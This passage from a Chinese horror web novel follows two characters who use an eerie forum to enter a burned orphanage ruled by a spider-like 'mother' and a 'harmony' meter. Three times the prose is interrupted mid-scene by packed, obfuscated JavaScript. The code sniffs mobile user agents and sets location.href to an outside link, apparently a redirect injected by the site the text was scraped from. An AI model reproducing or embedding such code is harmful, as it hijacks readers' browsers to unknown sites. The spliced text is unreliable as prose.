季青的笔尖在随身携带的笔记本上画着圈,她认真思考着:虽然她手握管理员特权,但是这几项特权暂时没有用得到的地方,反而是常岚作为用户的权限可以立马发挥作用。 闹钟的铃声响起,她拿起手机,现在是7月1日19:00,点击论坛网址,依然显示【您访问的网页不存在】。 把手机扣回桌上的季青又把注意力放到常岚身上:“那注册用户的权限,比如评论和发帖,你昨晚试过了吗?” “试过了!”常岚双手撑在桌子上,直接站了起来,“评论这块,我翻了几个帖子的评论区,没发现什么特别的,但是!” 他越说越兴奋,恨不得半个身子越过桌子,急切地向季青展示自己昨晚的发现,“但是这个发帖功能,我发现发布的帖子只能是怪谈相关的。” 虽然常岚嘴上安慰季青说师父已经失踪三年,耽误一天也没事,但师父把他拉扯大,真有了论坛这个线索,不尝试进行寻找是不可能的。 所以昨晚常岚完成对论坛的初步探索后,先是修改了默认头像和用户名。他特意和师父选择了一样的格式,用道观门口的大银杏树作头像,昵称修改为了凝真观-常岚,寄希望于看过师父帖子的其他用户能留有印象。 接着,他开始尝试发布寻人启事。 常岚最开始发布的寻人启事非常正式,就差把“师父回家”四个字放在标题了,可刚一点击发送,就被系统删除,并跳出了弹窗。 【根据用户条款,仅可发布您发现或核实的怪谈】 常岚纠结半天,在论坛首页逛来逛去,虽然没有刷到师父发的帖子,但发现帖子的状态栏有着[核实存在]和[暂未核实]两个状态。 人在走歪门邪道的时候反应总是很快,常岚马上想到,既然怪谈故事需要核实,那么是不是说明论坛本身并不知道发布的怪谈是真是假? 也就是说他只要编个故事当作怪谈,就可以发出去了对吧! 于是常岚把自己和师父的相遇的经历添油加醋当作怪谈故事发布了出去,终于等来了【发布成功】的弹窗。 “不过,”说完发帖的事,常岚又坐了回去,瘫在椅子上,“我发完帖子就睡了,直到中午才睡醒,然后论坛就打不开了。” “难道论坛出现的时间是随机的吗?” 季青转着手上的黑色水笔回答:“应该不是随机出现,我第一次进入论坛的时候,刚好是论坛即将关闭的时候,甚至看到了关闭倒计时。” 当时应该是早上五点……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449124|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “既然存在关闭倒计时这么严谨的设定,那么开关时间就应该有规律可循。” 而两次进入论坛,都是在凌晨,所以她才和常岚约到晚上碰面,准备看看到底是几点能够进入论坛。 季青每隔一小时就定一次闹钟,刷新一次页面,想着至少把论坛出现的时间准确到某个小时,方便他们进行下一步的探索。 常岚撇撇嘴,往后一仰,把椅子翘得高高的,然后随手拿起手机又刷了一下论坛网页。 “哎??——哎!!” 伴随着惊讶的喊声,常岚毫不意外地没有保持住椅子的平衡,哐一下摔到地上。 季青赶紧绕到桌子这边,打算拉他起来,但常岚完全没有感到痛一样,只是兴奋地举着手机给季青看: “论坛刷出来了!” 季青马上看了一下手机,7月1日19:30,七点她才看过手机,那时论坛网页还显示的“您访问的页面不存在”。 也就是说今天论坛出现的时间是晚上七点到七点半之间,而上次看到的关闭时间大约是五点,也就是说至少每天晚上七点半到凌晨五点这段时间,就是论坛的开放时间? 很好,比想象中要早不少,那她接下来的行动安排就更加宽松了。 季青把常岚撂在地上,转头在笔记本上记下论坛这两天开关的时间。 常岚倒是自己乖乖爬起来,立马进入论坛的历史发帖界面,看了下自己昨天发的帖子,嗯……虽然是意料之中的0回复,但多少还是有点失望。 常岚还在不甘心地刷新帖子,屏幕上方却弹出了消息提示。 【转账】委托人季青向你转账1000元。 在季青解释这笔钱是怎么回事之前,常岚就发出了尖叫—— 与此同时,本来晴朗的夜空突然响起的滚滚雷鸣,似乎是一种威吓,或者……警告? “冤枉啊!!!”常岚一边尖叫着一边迅速退回转账,“吕祖在上这真不是我敲诈委托人!!!老天快收了神通吧!!!” 季青还没搞明白常岚在搞什么,转头却发现雷鸣居然真的立刻平息了。 常岚擦了擦额头冒出的冷汗,才向季青解释: “你还记不记得,我的委托费是二两银子,随银价变动的。” 季青点点头,接着顺手查了下今日银价,九块七,二两就是九百七。 季青揉了揉眉心:“……你的意思该不会是我给多了吧……” “就是这样,”常岚一脸生无可恋地瘫回椅子上,“以前想过靠道法咒术发财,触怒天道,被师父逼着发誓委托费不会超过二两银子,才没被雷劈死。” 季青了然,继续面无表情地操作着手机。 【转账】委托人季青向你转账970元。 “所以,”常岚看着新跳出来的消息提示无奈扶额,“季老师这次要委托什么?” 季青让常岚在论坛上搜索了一个关键词,很快,屏幕上出现一首童谣: 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 留在妈妈的羽翼下, 门外的蜘蛛吃娃娃。 睡吧睡吧好孩子呀, 红茧会成为你的家, 好孩子要永远留下, 长成崭新的布娃娃。 8. 心巢孤儿院(一) 标题:【救命啊,为什么家附近被烧毁的孤儿院,那个废墟里一直有童谣的歌声传出来……】 发帖人:打开天窗说脏话 IP:A市发帖时间:2023年8月12日 板块:#鬼故事我从小听到大#恐怖童谣#童年阴影#我真没招了#诚心求助 怪谈状态:核实存在 【如题,楼主因为图便宜,买了老城后郊区这边的房子,旁边就是那个几年前被烧毁的心巢孤儿院废墟。 虽然旁边有个事故现场还挺恐怖的,但我一唯钱主义者怕啥?直接入住! 现在才知道,我怕爆了! 住进来明白为什么鬼地方这么便宜:因为这里还真是鬼地方!楼主半夜,而且只有半夜会听到一阵小孩唱歌的声音从废墟里飘出来。 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 留在妈妈的羽翼下, 门外的蜘蛛吃娃娃。 睡吧睡吧好孩子呀, 红茧会成为你的家, 好孩子要永远留下, 长成崭新的布娃娃。 唱来唱去就这几句,反反复复,声音明明很小,但是听得特别清楚,超级惊悚! 午夜!哪家正常小孩那个点在废墟里唱歌?! 楼主越想越不对劲,之后就留意打听这个孤儿院的事,结果谁都不知道详情,好像这个孤儿院就只剩个名字了。 最后楼主还是在这个论坛找到了一点资料,给大家捋捋,据说那场烧毁孤儿院的大火,火势非常猛,消防赶到时主体结构都快烧没了。 奇怪的是这么大的火,不仅讨论少得可怜,甚至没有人提到伤亡情况,好像整个孤儿院里的人都凭空消失了。 据说火灾调查发现是孤儿院的院长,不知为何亲手纵的火,烧死了所有人!说不定官方就是考虑到这个事情影响不好,才把这个消息压了下来。 而且在楼主翻到一些更早的旧闻里,提到过一个细思极恐的点: 虽然一直有孩子被送进那家孤儿院,但似乎没人亲眼见过有孩子从孤儿院出来。 我真的没撒谎!这才刚过午夜12点,我又听到歌声了! 在线等,挺急的,今晚不敢睡了。】 —————— 常岚的表情非常精彩,他缓缓抬起头:“那么季老师,选择这么诡异的地方是有什么特别的理由吗?” “嗯……”季青揉了揉眉心,“刚刚帖子里有提到,似乎没有人见到过从孤儿院里出来的孩子对吧?” 常岚摸着下巴,其实并没有在思索:“好像提到了。” 季青指了指自己:“那你现在见到了。” “……?” 看着常岚疑惑的神色,季青耐心解释:“我之前和你说过,我对自己家没有概念,其实孤儿院里每个孩子都是这样。我们没有过去,我们的人生,就从进入心巢孤儿院开始。” 季青掏出自己的手机,展示了血红色的倒计时和冷酷的格式化说明,现在还剩7个小时,7小时之后她就会失去目前寻找真相的唯一线索。 原本瘫坐在椅子上的常岚慢慢直起了身体,脸上的戏谑之色褪去,漆黑的瞳仁注视着季青。 他明白了季青的意思,这不是一场因诡异论坛而一时兴起的“探险”,对季青来说,这其实是一场和论坛展开较量的求真之旅。 “我在这座孤儿院度过了几乎一整个青少年时期。”季青的声音依旧平静,脸上却难得地露出一点迷茫和忧虑。 心巢孤儿院承载着季青多年的回忆,可等季青放暑假回到孤儿院看望大家的时候,这里只剩下一片废墟。 季青打听了很久,可是附近所有人都不知道发生了什么,孤儿院似乎只剩下了名字和那一场骇人听闻的大火。只有论坛里还有零星的帖子能证明它“存在过”并且至今仍在“发生“着什么。 而如今,最后一点存在的记录也要消失了。 常岚听完沉默了半晌,突然站起身,抓了抓头发:“行吧!就算我不接这一单,你也会自己去的吧。”他的脸上恢复了那种轻松的神气,但眼神已然认真了很多。 “不过委托费就免了,我还指望季老师早日升级成高级管理员给我把师父揪出来呢。” 火灾现场废墟、孤儿院、诡异童谣、发帖人不再回复……这么多debuff在身,常岚非但不害怕,甚至还打开手机,语气兴奋地说:“刚好试试论坛的标记显示功能,你看!” 季青看着常岚举起的手机屏幕,黑底白线的地图上,有着数个心脏一样脉动的红点,最中间的那个最红最大,下面红字标注着【爱心之巢孤儿院】。 常岚尝试点击了一下标志着孤儿院的红点,地图自动放大,下方还出现了【是否开启实时导航】的弹窗。 两人面面相觑,显然都在想着同一件事,跳动的红色标记好像一颗鲜红的禁果,散发出一股危险但诱人的气息。 季青看了一下自己的手机,锁屏显示7月1日19:55,和计划中差不多,现在出发肯定赶得上在怪谈信息删除之前进入孤儿院。 于是季青露出一个看似温暖的微笑,实则用不容置疑的语气说到:“我们现在就出发去探查一下怎么样?” 而常岚…… 不愧是直觉派,他没把话听完就立马就点击了【开启实时导航】。 手机屏幕短暂黑屏了一下,接着显示出放大的地图,从起点的凝真观延伸出几条红线,上面贴心的标注了线路方案。 考虑到常岚的七星剑实在过不了地铁安检,两个人还是选择了最方便的路线,忍痛打了一辆专车过去。 因为无法定位到已经变成废墟的孤儿院,两人的目的地随便选了附近的一家超市,下车后常岚还跟着季青步行了一小截路。 没过一会,常岚手机上还没关闭的实时导航就提示目的地已在附近。 两人一同望向路边不远处。 目标实在太显眼了…… 一片巨大的、被锈蚀的铁栏杆勉强围起来的黑色废墟,沉默地匍匐在浓重的夜色里。 焦黑的残垣断壁如同巨兽坍塌的脊骨,狰狞地刺向夜空。几段扭曲的钢筋混凝土框架依稀还能看出昔日建筑的轮廓,大部分区域则已被杂草和焦土覆盖。 空气中,弥漫着一股难以言喻的味道——并非单纯的焦糊味,而是一种更陈旧的、混合着尘埃、霉菌和一丝若有若无……令人发毛的诡异气息。 万籁俱寂,只有风吹过的呜咽声。 季青默默打开了手机的手电筒功能,微弱光柱扫过断裂的墙体、扭曲的铁栏杆,最终定格在废墟入口处的大铁门那字迹斑驳的牌匾上。 依稀能辨认出中间的图标是一个被羽翼护佑的鸟巢,从左到右写着“爱心之巢孤儿院”几个字。 曾经在孤儿院度过的温暖记忆也在季青的脑海中慢慢浮现上来,但她今天不是来怀旧的。 现在有了常岚的用户发帖权限,她打算对论坛的核实功能加以利用,发布多个关于孤儿院的规则推测帖,用来拼凑当年的真相和寻找解决怪谈的方法。 即使不被“格式化”,她也不想让曾经温暖的孤儿院,作为恐怖的都市传说流传下去。 常岚听完季青的计划,思来想去觉得有道理,就蹲在路边按照季青的指示,开始挨个发布看似莫名其妙的关于孤儿院怪谈的帖子。 季青则徘徊在门口,用自己手机刷新着刚刚让常岚发的帖子,顺便等待12点怪谈开启时刻的到来。 时间一分一秒过去,周围静得可怕,不知不觉间,连夏夜的虫鸣和夜晚的风声都消失了,仿佛被这片废墟吞噬。 只有常岚百无聊赖地踢着地上的小石子,脚下的碎砖和灰烬发出细微的声响。 突然—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449125|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵极其细微、缥缈不定,仿佛从另一个世界传来的哼唱声,像一根冰冷的蛛丝,骤然钻入钻入了两人的耳膜。 “睡吧、睡吧、好孩子呀……”“窗外的月光轻轻洒……” 歌声断断续续,忽左忽右,仿佛有无数个孩子躲在不同的残垣断壁后哼唱,又像是从地底蔓延上来,仿佛遍布整个废墟。 现在肯定还不到12点,怎么会有童谣声? 常岚猛地抬起头,季青刷新页面的手指也瞬间僵住。 手机屏幕上上,常岚刚刚发布的帖子中有一个,状态栏【暂未核实】突然闪烁了一下,伴随着黑红色马赛克的消失,状态栏变成了【核实存在】。 根本不需要等到十二点,从他们进入这片区域开始,这个孤儿院就已经盯上他们了! “它知道我们来了……”常岚缓缓站起身,同时将七星剑从剑鞘中抽出一小节,往季青这边靠近。 季青迅速翻看着其他推测帖,挨个记下了刚刚发送帖子的状态,她的手心微微出汗,并不是因为恐惧,而是一种精神高度集中的兴奋: 一切都还在计划之中,她离孤儿院的真相从未如此之近! 那诡异的童谣声还未停止,反而越来越清晰,越来越多的声音加入合唱,逐渐汇聚成一支冰冷、空灵而又执拗的合唱团: “留在妈妈的羽翼下, 门外的蜘蛛吃娃娃……” 就在这时,两人手中的手机屏幕突然同时亮起刺眼的白光,屏幕上不再是论坛界面,而是一片扭曲、跳动的雪花噪点! 与此同时,一股扭曲的牵引力从地下传来,季青手腕颤抖,几乎握不住手机! “把手机扔掉!”常岚似乎也遇到了一样的情况,两人反应极快,迅速把手机扔到地上。 两部手机着地,却没有发出声响,屏幕上的雪花噪点非但没有消失,反而化为一种粘稠的液体般从手机里“流”了出来,迅速渗入地面。 下一秒—— 无数只半透明的小手从他们脚下的阴影里伸出,冰冷刺骨的触感瞬间攥住了他们的脚踝和手腕,一股大得惊人的力量,猛地将他们向下拉扯! 常岚剑鞘顿地,金光乍现,灼烧得那些小手发出“滋滋”的声响,但这批小手退下的同时,无数红色的丝线破土而出,将常岚缠绕得密不透风! “伤害家人……坏孩子……改造……”一个明显不属于孩子的,低沉的成年女声突兀地出现。 季青感到一阵强烈的眩晕,地面的砖石在他眼中变成了流动的泥沼,她挣扎着抬头,看到常岚的剑光被无数坚韧的红色丝线迅速吞噬、隔绝。 最后看到的景象,是常岚试图冲破红线抓住她,可很快,一股无法抗拒的下坠感彻底包裹了季青。 “红茧……会成为你的家……”童谣在这一刻达到了高潮,就在他们耳边齐声歌唱! 仿佛过了一秒,或者一个世纪。 下坠感骤然停止。 季青发现自己仍然站在废墟前,仿佛刚才的一切只是幻觉。 但是,月光变得惨白而朦胧,周围的废墟已经消失了。 取而代之的事一座和季青记忆中相同,完好无损、甚至有些温馨的“爱心之巢孤儿院”。 一只冰凉的小手牵起了季青的手,将她恍惚的思绪拉了回来。 她低头看去,一个穿着白色衣服的陌生小女孩,正仰着头看她,用那空灵的声音唱到: “好孩子要……永远留下……” 此时孤儿院的大门悄无声息地打开,里面漆黑一片,只有几个穿着白衣的孩子探出头来,悄悄望着季青。 小女孩牵着季青走进大门,季青的脚不受控制地动了起来,几乎是进入孤儿院的一瞬间,大门就在背后关上了。 在无边的黑暗中,季青听到周围许多孩子同时发出的声音: “欢迎回家,姐姐。” 9. 心巢孤儿院(二) 季青的眼睛逐渐适应了黑暗,惨白的月光透过孤儿院高大的窗倾泻,将眼前这座名为“爱心之巢”的孤儿院镀上一层虚幻的柔光。 它与季青记忆中别无二致,格局、布置、甚至连装饰品的摆放似乎都是原来的样子。 只是……季青注意到大厅最上方悬挂的孤儿院的图标不同了,今晚来到孤儿院废墟的时候,它都还是季青记忆中的样子,是一个被羽翼护佑的鸟巢。 而现在,它变成了一只盘踞在大网中的蜘蛛…… 季青微微皱起眉,低下头看着牵着自己的那只冰凉小手的主人:一个大约七八岁、穿着干净白色制服的小女孩。 季青有点出神,这衣服季青也很熟,从前院长妈妈就会给这里的每个孩子都做几套,衣领上还绣着每个人的名字。 小女孩察觉到季青的目光,仰起脸,面容被月光和窗棂的阴影切碎,显得有些模糊,嘴角却挂着一个过分热情到近乎刻板的微笑。 “欢迎回家,姐姐。”小女孩的声音空灵悦耳,声线却缺乏起伏,“大家都在等你。” 季青的目光这才越过她,看向那几个站在门后的孩子,他们都穿着统一的白色制服,脸上是同样热情过分的笑容,带着纯净却也空洞的目光目送着季青前往孤儿院深处的走廊。 季青也认真辨认着门后孩子们僵硬的笑脸,其中几张面孔,是她记忆中应该和自己年龄差不多的老朋友,他们,凝固在了童年的模样…… 不容她细想,小女孩已经牵着她的手,一同迈向大厅最右侧那条走廊,踏入走廊的瞬间,一股暖意扑面而来,与大厅冷寂的氛围形成鲜明对比。 “我带你去见妈妈。”小女孩松开手,指向走廊尽头一扇虚掩的门,“妈妈会告诉你怎么在这里做一个好孩子。” 季青深吸一口气,轻声回了句:“好。”可她突然注意到,自己的声音竟然变得相当稚嫩,她不可置信地抬起手,连手掌都缩小了一圈,甚至身上的衣服也变成了和其他孩子一样的白色制服,季青低头看向衣领的边角,上面同样用金线绣着名字。 她变成了自己当年刚入孤儿院的孩童模样? 虽然已经在叠影怪谈中见识过超自然力量,但这种切切实实发生在自己身上的改变让季青不由得感到毛骨悚然。 如果怪谈连这种违背自然规律的事都做得到,那几乎意味着暴力破局根本就是痴心妄想,季青握紧拳头,强迫自己冷静下来,心里默背着进入孤儿院之前被验证的规则帖内容。 这次估计必须依靠这些规则存活下去,直到找到破局的方法! 她走向那扇门,几乎是有些迫不及待地推开——这里面原本有她最想见的人。 门后是一间温馨的办公室,里面也没有开灯,依靠着大而明亮的窗户透出月光照亮。窗边坐着一个穿着米黄色针织开衫、盘着发髻的中年女人,鼻梁上架着一副金丝眼镜。 中年女人转过头来,看到季青后,脸上绽开一个无比温柔、充满母性光辉的笑容。 “好孩子。”她的声音极其柔和,“到妈妈这里来。” 季青的身体不受控制地走向“妈妈”,“妈妈”蹲下身来将季青紧紧搂住,季青心中充满了疑惑,张口却无法发出声音—— 孤儿院里的孩子,还有“院长妈妈”,为什么都说着“欢迎回家”,却又像是不认识自己的样子? 难道是因为她现在的身体是刚进入孤儿院的状态,所以曾经在这里长大的经历也消失了吗? 院长妈妈轻轻拍着季青的背,安慰道:“不要害怕,这里没有人会伤害你,从今天起融为我们中的一员,以后就再也不会孤单了。” 她的笑容无懈可击,她的话语温暖动人。 但季青并没有放下警惕。 季睁开眼睛,环顾着院长办公室,有限的视线定格在院长身后的墙壁上,那里有着季青过去从未见过的东西: 一个巨大的、装饰精美的复杂圆形表盘,表盘中央,一根猩红的指针,正指向一个刻度:【87%】。 刻度下方,用工整的话题镌刻着一行花体英文:OverallHarmony。 整体和谐度?这是什么意思? 院长妈妈将季青从怀抱中放开,又顺着季青的目光看去,摸了摸季青的脑袋,耐心为她解释:“这是‘和谐之钟’。它保佑着我们这个大家庭永远充满爱与和平。” “好孩子,你要记住,在这里,保持快乐,保持顺从,保持和谐,就是最重要的规则。大家的和谐度越高,我们的生活就会越幸福。” 院长妈妈冰凉修长的手指轻轻抚过季青的额头:“你会成为一个好孩子的,对吗?” 她的触碰让季青起了一层鸡皮疙瘩。 季青垂下眼睑,模仿着其他孩子的笑容,乖巧地点了点头。 院长妈妈满意地笑了,转身从院长办公桌的抽屉里,拿出一个精致的礼盒,捧到季青面前。 这个黑色天鹅绒质感的礼盒只有孩子手掌大小,上面系着天蓝色的丝带,精致可爱。 季青在院长妈妈期待的目光下打开礼盒,里面是一个同样系着天蓝色丝带的精致小铃铛胸针。 院长妈妈放下盒子,取出铃铛胸针,给季青戴上:“这是你的‘心铃’,要时刻戴在身上。它会提醒你,要保持和谐哦。” 在铃铛胸针别到衣领上的瞬间,季青清晰地感觉到,一种无形的、令人窒息的束缚感缠绕了上来。 季青下意识顺着束缚感的来源望去——随着胸针被别上衣领,“和谐之钟”上面复杂的齿轮转动着。 红色指针“咔”一下,下降到了84%。 联想到之前院长妈妈关于和谐度的话,季青马上看向院长妈妈的脸: 院长妈妈的眼睛微微眯起,一丝陌生的、微弱的不满和不耐烦一闪而过。但在察觉到季青的视线后,马上又恢复成温柔的模样,笑着说: “没关系,新来的孩子总是这样,以后要努力学着做一个好孩子哦。” 院长妈妈说完牵着季青的手,将她领到了宿舍。 宿舍和记忆中有所不同,原本数个房间,现在变成了一个巨大的宽敞房间,一排排小床整齐摆放在房间中。 孩子们过分安静地躺在床铺上,没有人吵闹,即使没有睡着的孩子,也只是睁着眼睛躺在床铺上。 和谐,一切都要和谐。 院长妈妈将季青领到最后方的一张空床铺旁,季青乖巧地坐在床沿,环顾四周,发现只有隔壁的床位空着。 这个床位该不会是…… 她仰起头,假装一脸天真地问院长妈妈:“院长妈妈,为什么只有这个床上没有小朋友?” 院长妈妈俯下身,凑近季青的耳边,季青看不到她的表情,但呼出的冰冷气息打在脖颈上,让季青抖了一抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449126|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “坏孩子要先成为好孩子,才能进来住哦。” 说完院长妈妈怜爱地摩挲了一下季青的脸,拉着她躺下、盖好被子,这才转身离开。 季青在黑暗中悄悄睁着眼睛,直到院长妈妈的脚步声远去,她才把手放到铃铛胸针上,这个胸针联系着和谐之钟,说不定是某种监视器。 想要偷偷出去探查,还是先把这个取下来比较好。 季青借着月光在衣领上摸索着,但是……这个胸针的别针消失了? 就像是焊在衣领上一样,季青不由得使了一点劲,看看能不能把胸针扯下来。 “叮铃——” 一声轻微却无比清晰的铃声在死寂中炸响! 仿佛触发了某个开关,宿舍里全部二三十个孩子在同一瞬间齐刷刷地坐了起来! 他们没有说话,只是面无表情地、直勾勾地看向季青,眼球在黑暗中反射着微光。 宿舍的地板上不知何时钻出数条鲜红的丝线,如同有生命般蠕动着探寻着,向季青的床铺涌来! 紧接着,走廊外传来了声音:不是院长的脚步声,而是某种沉重的、多节肢体拖过地板的刮擦声,正由远及近,速度极快地奔来! 季青不敢再有所动作,马上躺平,闭紧眼睛,控制着自己的呼吸和心跳,将一切情绪死死压制。 那刺耳的刮擦声在门外徘徊了片刻,红色丝线在她床边游移了一会,最终缓缓缩回。 季青在重临的死寂中睁开眼,她明白了。 “和谐度”不是一个抽象概念,它是一个实时监控系统,衡量着每个孩子“顺从”的程度,任何出格的行为,都会导致和谐度下降。 这里没有温情,只有一场披着“家”的外衣、用“爱”包装的,残酷无比的过家家游戏。 而出局的后果…… 季青只好又乖乖闭上眼睛假装睡觉,期间几次悄悄眯起眼睛,不知过了多久,等到所有孩子又逐渐躺回床铺睡觉。 季青这才悄无声息地坐起身,时间紧迫,她不想放弃自己探查孤儿院的方案,还是决定冒险尝试。 她溜到了宿舍楼的走廊,凭借对孤儿院结构的记忆,按照顺时针顺序,顺利找到了几个自己比较确定的房间,食堂、厨房、储藏室、卫生间…… 几乎所有布局和她记忆中一样,实在没找到什么她没见过的房间。 那常岚被带去了哪里? 季青绕了一圈,最终回到了大厅,窗外巨大的月亮洒下的月光很亮,落在地上勾勒出窗户的形状。 这时,隐约传来一种缓慢而粘稠的、仿佛什么巨大东西在砖瓦上行动的声音,伴随着这声音的,还有极轻微的、窸窸窣窣的摩擦声。 季青此时正低着头,站在大厅中央投下的月光之中,借着透入的惨淡月光,她看到了。 一个难以名状的巨大阴影从窗外被投影下来,将季青笼罩在其中,数条巨大节肢在阴影中若隐若现,缓慢地蠕动着。节肢的顶端是扭曲、变形的类人手掌,正微微颤抖…… 季青猛地后退一步,紧贴着窗户旁的墙壁防止被发现,心脏在胸腔里疯狂擂动。 她突然想起了童谣的歌词: “留在妈妈的羽翼下, 门外的蜘蛛吃娃娃……” 她不能看,贴着墙壁飞快地溜回了宿舍,并没有注意到: 窗外数只鲜红的复眼正注视着她的离去。 10. 心巢孤儿院(三) 季青凭借记忆迅速摸回宿舍,从门缝里溜了进去。 可就在季青准备回到自己的床铺时,一只冰冷的小手突然牵住了她—— 她的心脏几乎停跳了一拍,猛地回头望去,却对上一双平静的眼睛。 那个女孩从门后的阴影中悄无声息地走出,正是一开始领着季青进入孤儿院的那个女孩。 月光勾勒出女孩领口上微微闪烁的金线,那是她的名字:安瑞宁。 为什么这个女孩没有睡觉?她是专门在这里等自己吗?她会告诉院长妈妈自己溜出去的事吗? 突如其来的变故让季青的脑子里瞬间充满了问题,可她还没说出口,安瑞宁冰冷的手指就轻轻点在季青唇上,示意她不要出声。 她什么也没说,安瑞宁只是牵着季青的手,带她回床铺,像个小大人一样给季青盖好被子。 安瑞宁半跪在床边,凑过来小小声说:“你什么都没有看到,只要一直装作没看到,以后就看不到了。” 她轻轻握着季青的手,说道:“只要按妈妈说的做,一切都会变好,我在这里很久了,一直很听话,听话就不会有事。” “放心吧,没什么好怕的。” 安瑞宁带着一种和外表极不相符的熟稔和老成,她安慰似地轻轻拍了拍季青的手,走到了宿舍另一头,回到自己的床铺闭上眼睛。 季青这时却敏锐地注意到了安瑞宁话中的细节:安瑞宁说自己在这里已经很久了,而她的床铺也在最靠近门边的位置,季青的床铺和旁边的空床铺都在最后方。 种种迹象都表明安瑞宁或许真的是这里资格最老的孩子。 可是季青过去在孤儿院根本没有见过她!安瑞宁一定是在季青离开孤儿院去上学之后,才来到孤儿院的。 为什么这么晚来的安瑞宁,却是在这里最久的孩子? 时间概念在这个孤儿院里似乎已经扭曲崩坏。 时空扭曲? 一个奇妙的念头突然出现在季青的脑海: 那是不是意味着,这里的时空和外界并不一致?那她出去之后应该就不会影响工作安排! 季青居然有松了一口气的感觉。 放松下来的她在诡异的孤儿院里睡了近一个月来最舒服的一觉…… 天亮时分,起床铃响起,季青很熟悉这个旋律,只是这个铃声不像过去一样从电铃中响起,而是院长妈妈亲自站在门口,手持一根小金属棍,用三角铃敲击出单调的节奏。 孩子们如同上了发条的玩具,被旋律这无形的丝线拉扯着,挨个起身,面无表情地开始穿衣、收拾床铺、洗漱、排队离开宿舍。 整个过程安静地可怕,只有布料摩擦的窸窣声响。 季青跟在队尾,目光始终追随着安瑞宁,只见她熟练地走在队伍最前面,甚至偶尔会回头用眼神示意后面动作慢的孩子加快速度,俨然一副“小管理员”的姿态。 早餐在同样死寂的氛围中进行,孩子们依次围坐在餐厅长桌旁,季青是最后一个,只好坐在了长桌的一头。 长长的餐桌上摆放着水果和牛奶泡的燕麦片,碗中没有热气,季青悄悄伸手摸了一下,凉的。 正在季青疑惑的时候,院长妈妈无声无息地出现在长桌的另一端,正面对着季青。 所有孩子立刻都坐直了身子,双手规整地放在膝盖上,脸上是一模一样的热情微笑。 季青用余光注意到其他孩子的动作,也赶紧把摸碗的手放到了膝盖上,露出热情得有些虚伪的微笑。 院长妈妈环顾一圈,看着大家坐得整整齐齐,才微微一笑。 她清了清嗓子,牵起左右两边孩子的手,用热情到令季青头皮发麻的表情,和极其甜美温柔的声音说道: “今天,我们又有了一位新的家人!让我们按照惯例,为这位新成员举行欢迎仪式!” 从院长妈妈那头开始,孩子们如同链条般连锁反应,依次牵起手,直到季青也和左右的孩子握紧手掌,大家一齐闭眼。 童谣响起,那熟悉的、诡异的旋律再次回荡: 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 留在妈妈的羽翼下, 门外的蜘蛛吃娃娃。 睡吧睡吧好孩子呀, 红茧会成为你的家, 好孩子要永远留下, 长成崭新的布娃娃。 在歌声响起的刹那,季青感到无数细小的、冰凉刺骨的脚正顺着被孩子们紧握的双手爬上她的身体! 季青被牢牢牵制,紧接着脖颈一阵尖锐的刺痛传来! 她猛地睁开眼睛,试图驱散病毒般蔓延上来的异样眩晕感—— 可眼前的景象让她愣在了当场: 哪里还有什么温馨孤儿院? 原本精致锃亮的长桌变得腐朽破烂、布满霉斑和蛛网;桌上的水果早已腐烂作一滩软泥,流出黑褐色的汁液;而面前原本盛放牛奶和麦片的碗里,更是有无数疯狂扭动、翻滚着的苍白蛆虫! 视野下方,一个猩红的UI界面弹出: 【警告:个人和谐值下降20%】 【当前个人和谐值:30%】 【当前整体和谐值:83%】 【警告:感知侵入能力下降,产生同步异常】 季青不可置信地晃了晃脑袋,这个UI界面像弹幕一样,随着她的视野一起微微晃动,接着消失了。 此时一只通体赤红、长着诡异人脸花纹的小蜘蛛,从她领口掉落,飞快地顺着桌腿窜上餐桌。 她的视线下意识地追随蜘蛛而上—— 看到了院长妈妈近到几乎与她鼻尖相贴的脸。 院长妈妈的身体整个伏在长桌上,四肢和脖颈纤细异常,明明脚还留在长桌那端,头和脖子却能扭成诡异的九十度,伸到季青面前! 惨白的脸上那鲜红的嘴唇正狰狞地微笑,而空洞的眼睛直勾勾地盯着季青! 一点声息也没有,即使已经近到可以数清她的睫毛,可季青甚至没有感觉到院长妈妈的呼吸。 没有呼吸,没有温度,没有生机。 “好孩子,”她的嘴唇几乎没动,冰冷的声音却直接钻入季青的耳膜,与周围欢快的童谣形成恐怖的二重奏,“你……看到了什么?” 季青没有挪开视线,她反手更紧地握住旁边的两个孩子,镇定地说:“您离得太近了,只能看到您,院长妈妈。” 院长妈妈的头颅和身体缓缓缩了回去,诡异的笑容却没有消失。 她拍了拍手,歌声戛然而止。 “仪式完成,用餐吧孩子们。” 孩子们立刻松开了手,开始安静地“享用”眼前腐烂的盛宴。 